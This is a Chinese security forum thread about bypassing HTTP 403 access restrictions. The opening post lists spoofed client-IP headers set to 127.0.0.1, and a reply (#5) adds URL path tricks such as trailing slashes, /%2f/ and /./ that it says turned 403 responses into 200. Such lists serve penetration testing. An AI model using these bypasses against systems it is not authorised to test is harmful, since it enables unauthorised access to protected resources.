登录 注册
导航
T00ls » 八卦水区(Discussion )

403 IP绕过

zac安全 2021-07-09 13:39 1252 10
UID:14236游客楼主
积分:TCV:TuBi:坛龄:
#1
403 IP地址饶过
X-Forwarded-For:127.0.0.1
X-Forwarded:127.0.0.1
Forwarded-For:127.0.0.1
Forwarded:127.0.0.1
X-Forwarded-Host:127.0.0.1
X-remote-IP:127.0.0.1
X-remote-addr:127.0.0.1
True-Client-IP:127.0.0.1
X-Client-IP:127.0.0.1
Client-IP:127.0.0.1
X-Real-IP:127.0.0.1
Ali-CDN-Real-IP:127.0.0.1
Cdn-Src-Ip:127.0.0.1
Cdn-Real-Ip:127.0.0.1
CF-Connecting-IP:127.0.0.1
X-Cluster-Client-IP:127.0.0.1
WL-Proxy-Client-IP:127.0.0.1
Proxy-Client-IP:127.0.0.1
Fastly-Client-Ip:127.0.0.1
True-Client-Ip:127.0.0.1

踩帖记录

  • T00ls路人甲：这种东西网上一大堆 你要是写个插件或者脚本也就算了 直接发一大堆网上抄的 拿来当原创好意思吗（2021-07-09 14:25:20）
  • T00ls路人乙：这种东西网上一大堆 你要是写个插件或者脚本也就算了 直接发一大堆网上抄的 拿来当原创好意思吗（2021-07-09 14:28:44）
匿名
匿名
2021-07-09
#2
基于帐号密码的没用啊
deep0nUID:11562注册会员活跃会员勋章五年陈老会员勋章
积分:358TCV:6TuBi:13坛龄:9年104天活跃2级
2021-07-09
#3
https://github.com/TheKingOfDuck/burpFakeIP
低调求发展，潜心习安全。
PYkillerUID:14239注册会员活跃会员勋章五年陈老会员勋章
积分:276TCV:2TuBi:495坛龄:5年222天活跃1级
2021-07-09
#4
好家伙，这也太水了吧。勇士，感顶风作案
Av3s404UID:14485潜水会员五年陈老会员勋章
积分:244TCV:0TuBi:230坛龄:5年130天
2021-07-09
#5
啊这，我放一些其他的吧，以前bypass403的时候成功过的
目录
如果看到目录末尾没有斜杠，例子
site.com/secret => 403

site.com/secret/* => 200

site.com/secret/./ => 200
文件
如果在结尾看到没有任何斜杠的文件，例子
site.com/secret.txt => 403

site.com/secret.txt/ => 200

site.com/%2f/secret.txt/ => 200
协议
这个不用多说，示例
https://site.com/secret => 403

[url]http://site.com/secret[/url] => 200
一些payload
/

/*

/%2f/

/./

./.

/*/
WINEZREOUID:13156注册会员五年陈老会员勋章
积分:232TCV:6TuBi:971坛龄:7年零46天活跃5级
2021-07-10
#6
个人觉得还是有一些价值的，只是写的不全面，导致大家觉得水分了。
当成一个讨论帖子很不错，引申一下绕过思路：
IP绕过，如楼主
路由绕过，如一楼
refer绕过，在报文中添加refer头

其他思路等大家的讨论
liuzhong3639UID:13931注册会员活跃会员勋章五年陈老会员勋章T00ls土豪勋章
积分:293TCV:3TuBi:106坛龄:6年零36天活跃5级
2021-07-10
#7
这玩意好像早就有了把
海阔天空UID:14505新手上路五年陈老会员勋章T00ls土豪勋章
积分:26TCV:0TuBi:607坛龄:5年127天活跃4级
2021-07-10
#8
burpFakeIP这个3楼的小插件还用过来着......
Panda1337UID:14507僵尸会员
积分:10TCV:0TuBi:8坛龄:5年125天
2021-07-11
#9
burp好像有个Fakeip的插件 也不错
xinxin999UID:13902注册会员活跃会员勋章五年陈老会员勋章
积分:357TCV:2TuBi:75坛龄:6年零49天活跃3级
2021-07-12
#10
分享是好事，但是楼主别发些基础的啊，大家都是有底子的，发这些多少...
低调求发展
12

登录后体验更多功能

登录 立即注册

本版最新

T00.ls | GMT+8, 2026-11-13 10:27

Powered by T00ls.com